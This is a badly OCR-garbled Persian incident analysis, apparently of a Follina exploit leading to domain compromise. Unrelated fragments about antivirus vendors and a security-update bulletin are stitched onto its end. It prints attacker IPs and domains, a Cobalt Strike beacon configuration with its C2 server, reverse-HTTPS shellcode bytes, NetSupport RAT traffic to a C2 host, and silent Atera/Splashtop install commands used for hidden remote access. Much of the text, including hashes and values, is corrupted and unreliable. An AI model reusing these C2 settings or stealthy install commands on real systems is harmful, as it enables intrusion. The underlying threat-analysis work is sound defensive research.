PDF (slo 318 ssolie (gl JUie ¢lgic 41 .353,5 g calizo (gloylpl jl oslaiawl b 1y Lo ald (Siwd )ygo @ (b jgpm 5> (laslge
339y 83,5 eslaiwl WordPad 51 DOCX sl Jld sxmline (gly 9 INnternet Explorer i

1305593 024 o dolie “OpenWith” aipS @i,b 5l aSui ) Ll @)go G o Jld (pl 45 b saoliv @ (63)lge > aill

Creator Process Name: C:\Windows\System32\OpenWith.exe

Process Command Line:  "C:\Program Files\Internet Explorer\iexplore.exe" _pdf

G208 9 JyUS g9y

‘Cawl 6340 k_,uu).)) Oyg0 dlo> Uﬁl ) QbOt )l}él.).) L8} @lm,o C2 )90 (_gl.mdfuobﬂp (SLQ)L,JIAAU

144.202.3[.]139
subject: CN=pesgfbmfk.us,0U=Mklbwanvv Eibn Fyknigfvki,C=FR,

issuer: CN=pesgfbmfk.us,0=Jgi Vwmmuia Inc.,L=Rnhsjsu Bbrwua, 3T=0QQ,C=FR
ja3: 72a589daS586844d7£0818ce684948eeca

ja3s: B8ed408107£85c53261b£74e58517bcT6

176.67.56[.]194

domain: wisdeirun.net

issuer: Scau Lofoefo Cubhfilnb Ixtfb
ja3: T72a585da586844d7f0818ceEE4548eca
ja3ds: Tc02dbasce2670040cT7afdbdlsfbi=2f
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72.252.157[.]153

subject: CHN=rfhmw.biz,0U=Yoefut,C=ES,

issuer: CN=rfhmw.biz,0=Umalaugv Tyv LLC.,L=0jacmei Xyaik,ST=LO,C=ES
ja3: T2a589da586844d7f0818ce6E4948eea

ja3s: Tc02dbas662670040c7af9%bd15fb7e2F

90.120.65[.]1153

subject: CN=jaubai.net,0U=Naha, C=AU,

issuer: CN=Jjaubai.net,0=Riwil Ohbptdbe LLC.,L=Bia,3T=FX,C=R0
Ja3: 72a589d4a58684447f0818cec845482ea

Ja3s: Tc02dbasee2670040c7af5bd15fbTe2E

©7.209.195[.]1158

domain: visdeirun.net

issuer: Rigmx Ijocl Oceymfx Eiav LLC.

ja3: 72a589da586584447f0818c=65845482ca

ja3s: T7c02dbae&62670040c7afSbdl5fbTe2f

b saolie gy 004 (335 Cobalt Strike & bgyyo explore.exe awgyy ;3 a5 postex_4c14 ol

LogName=Microsoft-Windows-Sysmon/Operational
EventCode=18

EventType=4

Computeriame=

User=NOT_TRANSLATED

5id=5-1-5-18

5idType=8
SourceName=Microsoft-Windows-Sysmon
Type=Information

RecordNumber=374485

Keywords=None

TaskCategory=Pipe Connected (rule: PipeEvent)
OpCode=Info

Message=Pipe Connected

RuleName: technique_id=T1855; Possible Cobalt Strike post-exploitation jobs
EventType: ConnectPipe

UtcTime: ©

ProcessGuid: {89b4d335-7fc1-629f-d979-000000000900}
ProcessId: 562@

PipeName: ‘\postex_4cl4

Image: C:\Windows\Syswowed\explorer.exe

User: NT AUTHORITY\SYSTEM
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b plol T768.py )lnl 1 eslaiuwl b beacon (gainS @xplorer.exe ;s odd @§2)15 (gdwgy 5l G2 A9 I K

File: analysis/pid.5620.vad.0x32d0000-0x32d0fff-1.dmp
Found shellcode

Identificatior

Parameter:

: 557 b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
: v..... ..1.d.RO.

S reverse https x86 shellcode

C
815 b'1960.123.44.12
3 9

242 13184 b'h
753 40696 b'h
784 8192 b'h 0 \x00\x00"

FC E8 89 00 60 00 60 89 E5 31 D2 64 8B 52 30 8B

00000010; 52 0C 8B 52 14 8B 72 28 OF B7 4A 26 31 FF 31 CO_R..R.

N

048734AF86DTFBFE4F2161FAG0799FD94

CN=mssfr.icu,

N=R3,0=Let's

ns2.mssfr.icu,
ns3.massfr.icu,

ns4.masfr.icu

5wl @)luc 1P (sloo SLis ¢l 3)90 5> yiduw OS>
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Cobalt Strike (S

"beacentype”:
=HTTRS"

N

"sleaptime”: 50843,

"jitter": 33,

AARARAARAARARAARAAARRA

"maxgetsize®: 2736804,
"spawnte”:
"license_id": 426352781,
“ofg_cauticn®: false,

“kill dacs®: mull,

"server™s
“hostname™: *130.123.44.12
"poree: 43,

“publickey™:

when
13i8Y0I

AARARRARRANAARARNARS

b

"host_header®: "

"useragent header®: null,

“htopmges”: [

" fmaximum. pog” .

"GET",

"headera®

‘metadata
b

Szezver: {

"print®,

"prepend 600 chazacter:
"basess”,

"nethios"

]
b
“heep-pastt: {

“verb™: "PGST",

Sclient: {
"headezs": null,
"id=: mull,

moutput®: null

te

"top frame hesdes®:

"crypta_scheme": 0,
1
“type™: mull,

"proxy"

Susername®: null,

"passwora®s mull,
"behavior": "Use IE settings
Fe
“http_post_chuak”: 0,
"uses_cockies": true,
mpost-exts {
"spawnto_xB86": “%windir¥\\syswow&4\\WerFault.exs",

mapawnto_x64": "Swindiri\\sysnative\\NerFault.exa"
Fe

"process-inject”: |
"allocator™: "VirtualallocEx",

Mexecute®: [
"Createthread”,
"RtlCreateUserThread”,
"CresteRemoteThread"

1

"min_alloc”: 29873,

Mstartzux": false,

"stub®: "pJIURSAanzIATqnkbuzsgR="

"transform-xEE": [

Mprapend "\\x90\\x301\x301\x30\\x30\\x0" "
1.

“transform-xf4": [

Mprapend "\\x8041x801\x30\\x30\\x80 \x80" "

"dns_slasp": null,

“maxdns"”

null,
“beacon®: null,
mget_m": null,

mget_aAEA": null,
“get_TXT": nall,
"put_metadata”: null,
=put_cutput": mull
b

"pipenane”

null,
"smb_frame header”:

"atage™: {
"cleanup”: true

te

"ssh": [
“hestname’: mull,
"porem: mull,

“username

null,
“password®: null,

mprivatekey": null

A¥
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Wiy ) () ol o > T b by alxls o client32.exe (NetSupport Manager) ob @ 95 oly Copie il
534 e3ls )8 C:\ProgramData\MSN Devices

LogName=Microsof t-Windows-Sysmon/Operational
EventCode=11

EventType=4

ComputerName=

User=NOT_TRANSLATED

5id=5-1-5-18

SidType=0

SourceName=Microsof t-Windows-Sysmon
Type=Information

RecordNumber=375623

Keywords=None

TaskCategory=File created (rule: FileCreate)
OpCode=Info

Message=File created:

RuleName: -

UtcTime:

ProcessGuid: {89b4d335-7fc1-629f-d979-000000000900]
ProcessId: 5620

Image: C:\Windows\SysWOWG4\explorer.exe
TargetFilename: C:‘\ProgramData\M5N Devices\client32.exe
CreationUtcTime:

User: NT AUTHORITY\SYSTEM

file-type ‘executable

date empt

language English-United-Kingdom
code-page Unicode UTF-16, little endian
Comments n/a

CompanyName NetSupport Ltd
FileDescription MetSupport Client Application
FileVersion V12,50

InternalMame client32

LegalCopyright Copyright (c) 2017, NetSupport Ltd
LegalTrademarks nfa

OriginalFilename client32.exe

PrivateBuild V12,50

ProductMame MNetSupport Manager
ProductVersion V12,50

SpecialBuild nfa

.39 NetSupport Manager/1.3 b L user-agent < (g9l g 634 (513550, aSadd )5 (bl Lol

No.  Source Source Port Destination Dest. Port. Protocol  Info

0373 125.206.218 HTTP POST http://185.125.206.218/Takeur L.htm HTTP/1.1 (application/x-www-form-urlencoded)
2 185.125.206.218 443 60373 Tcp 443 . 60373 [ACK] Seq=1 Ack=237 Win=1026 Len=0
3 60373 185.125.206.218 443 HTTP POST http://185.125.206.218/Takeur L.ntm HTTP/1.1 (application/x-www-form-urlencoded)
4 185.125.206.218 443 W 60373 TCP 443 . 60373 [ACK] Seq:

60373 185,125.206.218 443 HTTP POST http://185.125. 2 .1 (application/x-www-form-urlencoded)
6 185.125.206.218 443 66373 Tcp 443 . 60373 [ACK] Seq:
7 60373 185.125.206.218 443 HTTP POST http://185.125.206.218/Takeurl.htm HTTP/1.1 (application/x-www-form-urlencoded)
8 185.125.206.218 443 60373 Tcp 443 . 60373 [ACK] Seq=1 Ack=945 Win=1022 Len=0

60373 185.125.206.218 443 HTTP POST http://185.125.206.218/Takeurl.htm HTTP/1.1 (application/x-www-form-urlencoded)
10 185.125.206.218 443 60373 TCP 443 - 60373 [ACK] Seq=:
11 @ 60373 185.125.206.218 443 HTTP POST http://185.125. 2 (application/x-www-form-urlencoded)
12 185.125.206.218 443 L 60373 Tcp 443 . 60373 [ACK] Seq:
13 60373 185.125.206.218 443 HTTP POST http://185.125.206.218/Takeurl.htm HTTP/1.1 (application/x-www-form-urlencoded)
14 185.125.206.218 443 60373 TCP 443 - 60373 [ACK] Seq=1 Ack=1653 Win=1021 Len=0
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|POST http://185.125.206.218/Takeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3

Content-Type: application/x-www-Torm-urlencoded
Content-Length: 36

Host: 185.125.206.218

Connection: Keep-Alive

CMD=ENCD

ES=1

DATA=. .#..mH..UAA..g.

POST http://185.125.206.218/fakeurl.htm HTTP/1.1
User-Agent: NetSupport Manager/1.3

Content-Type: application/x-www-Torm-urlencoded
Content-Length: 36

Host: 185.125.206.218

Connection: Keep-Alive

.33905 Domain Controller ;> Atera RMM Agent (g5l Jled g cuad 4 pla8l laslgo

LogName=Microsof t-Windows-Sysmon/Operational
EventCode=1

EventType=4

ComputerName=

User=NOT_TRANSLATED

S$id=5-1-5-18

SidType=@

SourceName=Microsoft-Windows-Sysmon
Type=Information

RecordNumber=416604

Keywords=None

TaskCategory=Process Create (rule: ProcessCreate)
OpCode=Info

Message=Process Create:

RuleName: technique_id=T1204,technique_name=User Execution
UtcTime:

ProcessGuid: {53c8478b-8e14-629f-9a9b-0100000009003
ProcessId: 4884

Image: C:\Windows\System32\msiexec.exe
FileVersion: 5.0.17763.484 (WinBuild.16@101.08008)
Description: Windows® installer

Product: Windows Installer - Unicode

Company: Microsoft Corporation

OriginalFileName: msiexec.exe

CommandLine: "C:\Windows\System32\msiexec.exe" /i "C:\Users\ wDocumentshsetup_undefined.msi"
CurrentDirectory: C:\Use rs\-Documents\
User:

LogonGuid: {53c8478b-0004-6270-5972-050000000000%

LogonId: @x5TE83

TerminalSessionId: 1

IntegrityLevel: High

Hashes: SHA1=25ET3ABDA4FBASAB31E27B90DABA4FCS5BB489B4E,MD5=510FBA4D2992DA8320FC2369D648F069 , SHA256=
ParentProcessGuid: {53c8478b-000c-6270-6800-0000000009007

ParentProcessId: 4280

ParentImage: C:\Windows‘\explorer. exe

ParentCommandLine: C:\Windows\Explorer EXE

C:\Program Files\ATERA gy )5 |y cual loblt B oxd caiSw setup_undefined.msi ob U MSI saisScuas (Ll
Ao, Networks\AteraAgent
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LogName=Application
EventCode=1033
EventType=4
ComputerName=
User=NOT_TRANSLATED

sidType=o
SourceName=siInstaller

Type=Information

RecordNumber=2143

Keywords=Classic

TaskCategory=None

OpCode=Info

Message=Windows Installer installed the product. Product Name: Ateraigent

1Fol ,5T | wlewbl (6)9ls ol aolilo

Product Version: 1.8.2.6. Product Language: 1033. Manufacturer: Atera networks. Installation success or error status: 0

ol 034 6313 158 Jld i 43 g 04 a2)LSy SplashTop pb 4 493 ol 5l Cupse laylil 5,505 o L Atera

LogName=Microsof t-iindows-Sysmon/Operational

EventCode=11

EventType=4

ComputerName=

User=NOT_TRANSLATED

$id=5-1-5-18

SidType=0
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=416968

Keywords=None

TaskCategory=File created (rule: FileCreate)

OpCode=Info
Message=File created
RuleName: -

UtcTime:

ProcessGuid: {53c8478b-8e40-629f-ae9b-010000000300)

ProcessId: 4752

Image: C:\Program Files (x8B8)\ATERA Networks\Aterahgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote. exe
TargetFilename: C:\Windows\Temp\SplashtopStreamer3500.exe

CreationUtcTime:
User: NT AUTHORITY\SYSTEM

i eamlie pj g @ Atera @ bgye «heartbeat» awg)y (sloygs (sloslag,

"C:\Program Files\ATERZA

Networks\LRteraLgent\Fackages\LgentPackageHeartbeat \LgentPackageHeartheat.exe" 84z24z263b-

8338-4a34-a273b-5a3958eac32c

"3f9%a2cBa-b755-4c69-bacs0-587bafffd6ed"” agent-—

api.atera.com/Production 443 or8ixLiS0Mf "heartbeat”

2290 hol dio; O™ ) dwgy S Olgic Splashtop 193 oy 5l oo il

"C:\Windows\TEMP\SplashtopStreamer3500.exe™ prevercheck /s /i

sec_opt=0,confirm d=0,hhidewindow=1
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gl_ﬂ IntegratorLogin REG_57 cadencefitzp. atridkzx @amail. com
ab| Companyld REG_SZ 1
ab| Accountld REG_S5Z 0013z0000 2oPERLAAW

831 s

A5 03mlie dlas (il 0 boyye (exfiltration) (lesls cuwis

9 Notepad++ jl eslatiwl b Jold jgyuw 59y » (.pdf, .docx) Gwlws stuwl RDP bLs)l G )3 dlaz ¢l (Impact) soly jogas >
i edaliie (ylazlge (gow jl (6503 Called gud ol I o 303 salie laslge bwgs Wordpad

aLine *
GEF.3136 CHELAT: 12410 Jprefetch:2
S

-

2L 03lie g cdl)s (B ;5 (S )3 dlas ¢l (5391 (cladslinv

https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/

https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/
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Caanl (il Sy gl 9 123)5 Gupssls 1FVe Jlw 53 yianS aSuid (oawdige <5y
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Sl )b g S A Gudige S5 g GSide (5)San dabl )
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Glasil g aw) sl glgic @ yiwS b collsd L (eUyS
4 Dr Solomon’s Toolkit (wgy93d a3 & (vlpl > S & S International
CSb > Gl pw b RS plrl )3 RS pRponee
30 yianS aSadd Sy APYY Jls j> McAfee ey buwgs S & S International
029R936 )8l 035 (59) 32 1) S92 il Gllall G Biles 0> Aisle
jlo odidgd  loic @ yiwS aSub ju eS| ol delsl McAfee
Olrl )3 Glods g WVgame al)l 4y «ilioygls> dihis )5 (Authorized Reseller)
GSialad oS ) @990 yiS aSuds (uige Syl WAF Jlo 55 3laize pladl
Gluags dz)LbSh Cople OVgamo o3jlw Astaro ilal eSub  (saw,)
lez Cuidgo g pSadiz Ay JWs 4 .43,5 (Unified Threat Managment)
@ pla8l (53l Sophos Sy 1 Jhw 5> Astaro ey (el Ygame
S S pdige Sy (JWSH g Ji5 ol JUS @2 13905 (ST Syl ool 3>
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o3l lgic 4 |y Bitdefender wgygaus Wigamo ddye yimS aSudb (wligo
9906 OVgame asye L3S T glpl )3 aw, (Distributor) gije3
il g byhd & Awl [McAfee ol ©Vgax=o HUS ) Bitdefender
9 Poel ©pie oiSHle (ugngas .l 639 aSui plpie 9 Pl wolite
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	در آبان 1401 شرکت‌های زیر اقدام به عرضه بروزرسانی و توصیه‌نامه امنیتی برای برخی محصولات خود کردند.
	مایکـروسافت
	سـیسـکو
	اپــل
	https://support.apple.com/en-us/HT201222

	مـوزیـلا
	گـوگـل
	سیتریـکس
	https://support.citrix.com/article/CTX463706
	لـنـوو
	سـامـبـا

	25 آبان 1401، اف‌5 (F5) اقدام به ترمیم دو ضعف امنیتی با درجه اهمیت «بالا» به شناسه‌های CVE-2022-41622 و CVE-2022-41800 در دو محصول BIG-IP وBIG-IQ  نمود. سوءاستفاده از ضعف‌‌های امنیتی مذکور مهاجم را قادر به اجرای کد از راه دور و در اختیار گرفتن کنترل د...


